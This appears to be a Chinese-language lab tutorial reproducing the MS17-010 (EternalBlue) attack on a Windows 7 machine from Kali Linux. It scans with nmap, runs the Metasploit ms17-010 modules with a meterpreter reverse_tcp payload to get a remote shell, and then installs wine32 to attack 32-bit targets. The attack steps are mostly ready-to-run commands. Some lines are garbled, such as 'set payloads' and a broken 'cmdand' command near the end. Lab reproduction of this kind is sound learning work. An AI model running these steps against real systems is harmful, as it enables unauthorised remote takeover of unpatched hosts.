漏洞复现:MS17-010
漏洞利用的条件:1.靶机开启445端口(如果未打开该端口将会攻击失败,百度打开445端口)
2.关闭防火墙
靶机:windows 7(未知X32位还是X64位) ip:192.168.1.9
攻击机:kali linux (X64) ip:192.168.1.101
使用工具:meatsploit,nmap
前期准备工作:由于kali是64位,如果windows 7 是32 位,所以我们得安装wine32环境,并且下载32位操作系统的永恒之蓝漏洞利用脚本。可参考文章后面大佬的博客,也可阅读本文。如果是X64位操作系统则不用安装。
第一部分:主机发现(nmap)
打开nmap进行主机发现,可以扫描到主机的IP地址,端口号,服务器的版本等其他信息
Nmap -A 192.168.1.0/24
发现靶机开放445端口,那么我们就可以利用该端口进行渗透
第二部分:metasploit工具进行漏洞利用
1.启动该工具
msfconsole
2. 查找永恒之蓝漏洞利用脚本
search ms17-010
可以看到有这样几种攻击脚本 (第四个脚本文章会详细说明如何安装),exploit开头的是漏洞利用模块,可以用来进行攻击;auxiliary是漏洞辅助模块,可以查询漏洞的详细信息等。
3.我们先用auxiliary是漏洞辅助模块,查询漏洞的详细信息,如下图所示
use 3 #使用该模块 show options #显示需要设置的参数 set rhosts 192.168.1.9 #设置靶机的IP地址
4.查看漏洞利用payload
show payloads
5.设置攻击用到的payloads
set payloads windows/x64/meterpreter/reverse_tcp #设置payloads run #开始进行漏洞利用攻击(输入exploit也可以反弹出交互式shell)
可以看到提示信息,该主机可能存在这个漏洞
6.接下来我们使用exploit模块(步骤同上,原理同上)------如果未知靶机是多少位的操作系统,我们先用常规的用来测试X64位操作系统
search ms17-010 #查询漏洞利用脚本 use 0 set payloads windows/x64/meterpreter/reverse_tcp show options
set rhosts 192.168.1.9 #靶机的IP地址 run
本次运行的结果如下,可以看到攻击失败,同时给与提示,该模块只能攻击X64位操作系统,说明我们的靶机是X32位
7.确定靶机是X32位操作系统,安装wine 32环境,安装攻击32位操作系统所用的的脚本
方法一:
apt-get install wine32
在执行exploit时可能会出现 :
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"
按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可
apt-get install wine32
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
验证是否安装成功
wine --version wine cmd.exe
用wine32执行cmd.exe
wine cmd.exe
如上图所示,即wine 32 安装成功
方法二:(仅供参考)
使用终端输入下列命令
dpkg --add-architecture i386 #这是让Linux安装32位架构,好兼容32位的程序 执行完毕之后再次执行 apt-get update && apt-get install wine32 apt-get install wine32 dpkg --add-architecture i386 && apt-get update && cmdand cmdand> cmd.exe #输入cmd.exe dpkg --add-architecture i386 && apt-get update && apt-get install wine32